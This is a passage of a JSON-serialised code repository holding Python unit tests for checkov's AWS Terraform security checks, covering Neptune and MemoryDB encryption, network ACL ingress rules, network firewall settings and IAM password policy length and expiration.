    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MemoryDBSnapshotEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemoryDBSnapshotEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MemoryDBSnapshotEncryptionWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_memorydb_snapshot.pass\",\n        }\n        failing_resources = {\n            \"aws_memorydb_snapshot.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneClusterBackupRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterBackupRetention import check\n\n\nclass TestNeptuneClusterBackupRetention(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_NeptuneClusterBackupRetention\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_neptune_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'aws_neptune_cluster.ckv_unittest_fail_not_adequate',\n            'aws_neptune_cluster.ckv_unittest_fail_default'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneClusterEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNeptuneClusterEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NeptuneClusterEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_neptune_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_neptune_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneClusterLogging.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterLogging import check\nfrom checkov.common.models.enums import CheckResult\n\nclass TestNeptuneClusterLogging(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_neptune_cluster\" \"test\" {\n              cluster_identifier                  = \"neptune-cluster-demo\"\n              engine                              = \"neptune\"\n              backup_retention_period             = 5\n              preferred_backup_window             = \"07:00-09:00\"\n              skip_final_snapshot                 = true\n              iam_database_authentication_enabled = true\n              apply_immediately                   = true\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_neptune_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_neptune_cluster\" \"test\" {\n              cluster_identifier                  = \"neptune-cluster-demo\"\n              engine                              = \"neptune\"\n              backup_retention_period             = 5\n              preferred_backup_window             = \"07:00-09:00\"\n              skip_final_snapshot                 = true\n              iam_database_authentication_enabled = true\n              apply_immediately                   = true\n              enable_cloudwatch_logs_exports      = [\"audit\"]\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_neptune_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneDBClustersCopyTagsToSnapshots.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.NeptuneDBClustersCopyTagsToSnapshots import check\n\n\nclass TestNeptuneDBClustersCopyTagsToSnapshots(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_NeptuneDBClustersCopyTagsToSnapshots\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_neptune_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'aws_neptune_cluster.ckv_unittest_fail',\n            'aws_neptune_cluster.ckv_unittest2_fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.NeptuneDBClustersIAMDatabaseAuthenticationEnabled import check\n\n\nclass TestNeptuneDBClustersIAMDatabaseAuthenticationEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_NeptuneDBClustersIAMDatabaseAuthenticationEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_neptune_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'aws_neptune_cluster.ckv_unittest_fail',\n            'aws_neptune_cluster.ckv_unittest2_fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneInstancePublic.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterInstancePublic import check\nfrom checkov.common.models.enums import CheckResult\n\nclass TestNeptuneClusterInstancePublic(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_neptune_cluster_instance\" \"example\" {\n  count              = 2\n  cluster_identifier = aws_neptune_cluster.default.id\n  engine             = \"neptune\"\n  instance_class     = \"db.r4.large\"\n  apply_immediately  = true\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_neptune_cluster_instance\" \"example\" {\n  count               = 2\n  cluster_identifier  = aws_neptune_cluster.default.id\n  engine              = \"neptune\"\n  instance_class      = \"db.r4.large\"\n  apply_immediately   = true\n  publicly_accessible = false\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_neptune_cluster_instance\" \"example\" {\n  count               = 2\n  cluster_identifier  = aws_neptune_cluster.default.id\n  engine              = \"neptune\"\n  instance_class      = \"db.r4.large\"\n  apply_immediately   = true\n  publicly_accessible = true\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneSnapshotEncrypted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterSnapshotEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNeptuneClusterSnapshotEncrypted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NeptuneClusterSnapshotEncrypted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_neptune_cluster_snapshot.pass\",\n        }\n        failing_resources = {\n            \"aws_neptune_cluster_snapshot.fail\",\n            \"aws_neptune_cluster_snapshot.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneSnapshotEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterSnapshotEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNeptuneClusterSnapshotEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NeptuneClusterSnapshotEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_neptune_cluster_snapshot.pass\",\n        }\n        failing_resources = {\n            \"aws_neptune_cluster_snapshot.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NeptuneStorageEncrypted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NeptuneClusterStorageEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNeptuneClusterStorageEncrypted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NeptuneClusterStorageEncrypted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_neptune_cluster.enabled\",\n        }\n        failing_resources = {\n            \"aws_neptune_cluster.default\",\n            \"aws_neptune_cluster.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkACLUnrestricted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkACLUnrestricted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkACLUnrestricted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkACLUnrestricted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_network_acl_rule.pass\",\n        }\n        failing_resources = {\n            \"aws_network_acl_rule.fail\",\n            \"aws_network_acl_rule.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress20.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress20 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkACLUnrestrictedIngress20(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkACLUnrestrictedIngress20\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_network_acl.pass\",\n            \"aws_network_acl.pass2\",\n            \"aws_network_acl_rule.pass\",\n            \"aws_network_acl_rule.pass2\",\n            \"aws_network_acl.pass3\"\n        }\n        failing_resources = {\n            \"aws_network_acl.fail\",\n            \"aws_network_acl.fail2\",\n            \"aws_network_acl.fail3\",\n            \"aws_network_acl.fail4\",\n            \"aws_network_acl_rule.fail\",\n            \"aws_network_acl_rule.fail2\",\n            \"aws_network_acl_rule.public_ingress\",\n            \"aws_network_acl.network_acl\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress21.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress21 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkACLUnrestrictedIngress21(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkACLUnrestrictedIngress21\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_network_acl.pass\",\n            \"aws_network_acl.pass2\",\n            \"aws_network_acl_rule.pass\",\n            \"aws_network_acl_rule.pass2\",\n            \"aws_network_acl.pass3\"\n        }\n        failing_resources = {\n            \"aws_network_acl.fail\",\n            \"aws_network_acl.fail2\",\n            \"aws_network_acl.fail3\",\n            \"aws_network_acl.fail4\",\n            \"aws_network_acl_rule.fail\",\n            \"aws_network_acl_rule.fail2\",\n            \"aws_network_acl_rule.public_ingress\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkACLUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkACLUnrestrictedIngress22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_network_acl.pass\",\n            \"aws_network_acl.pass2\",\n            \"aws_network_acl.pass3\",\n            \"aws_network_acl_rule.pass\",\n            \"aws_network_acl_rule.pass2\",\n            \"aws_network_acl_rule.pass3\"\n        }\n        failing_resources = {\n            \"aws_network_acl.fail\",\n            \"aws_network_acl.fail2\",\n            \"aws_network_acl.fail3\",\n            \"aws_network_acl.fail4\",\n            \"aws_network_acl_rule.fail\",\n            \"aws_network_acl_rule.fail2\",\n            \"aws_network_acl_rule.public_ingress\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress3389.py",
    "content": "import unittest\nimport os\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress3389 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkACLUnrestrictedIngress3389(unittest.TestCase):\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkACLUnrestrictedIngress3389\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_network_acl.pass\",\n            \"aws_network_acl.pass2\",\n            \"aws_network_acl.pass3\",\n            \"aws_network_acl_rule.pass\",\n            \"aws_network_acl_rule.pass2\",\n            \"aws_network_acl_rule.count_pass\",\n        }\n        failing_resources = {\n            \"aws_network_acl.fail\",\n            \"aws_network_acl.fail2\",\n            \"aws_network_acl.fail3\",\n            \"aws_network_acl.fail4\",\n            \"aws_network_acl_rule.fail\",\n            \"aws_network_acl_rule.fail2\",\n            \"aws_network_acl_rule.public_ingress\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkFirewallDeletionProtection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkFirewallDeletionProtection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkFirewallDeletionProtection(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkFirewallDeletionProtection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_networkfirewall_firewall.pass\",\n        }\n        failing_resources = {\n            \"aws_networkfirewall_firewall.fail\",\n            \"aws_networkfirewall_firewall.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkFirewallPolicyDefinesCMK.py",
    "content": "import unittest\nimport os\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkFirewallPolicyDefinesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkFirewallPolicyDefinesCMK(unittest.TestCase):\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkFirewallPolicyDefinesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_networkfirewall_firewall_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_networkfirewall_firewall_policy.fail\",\n            \"aws_networkfirewall_firewall_policy.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_NetworkFirewallUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.NetworkFirewallUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkFirewallUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NetworkFirewallUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_networkfirewall_firewall.pass\",\n            \"aws_networkfirewall_rule_group.pass\"\n        }\n        failing_resources = {\n            \"aws_networkfirewall_firewall.fail\",\n            \"aws_networkfirewall_firewall.fail2\",\n            \"aws_networkfirewall_rule_group.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyExpiration.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyExpiration import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicyExpiration(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n            \"max_password_age\": [90]\n\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n            \"max_password_age\": [91]\n\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyLength.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyLength import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicyLength(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [16],\n            \"require_lowercase_characters\": [False],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [8],\n            \"require_lowercase_characters\": [False],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"require_lowercase_characters\": [False],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyLowercaseLetter.py",
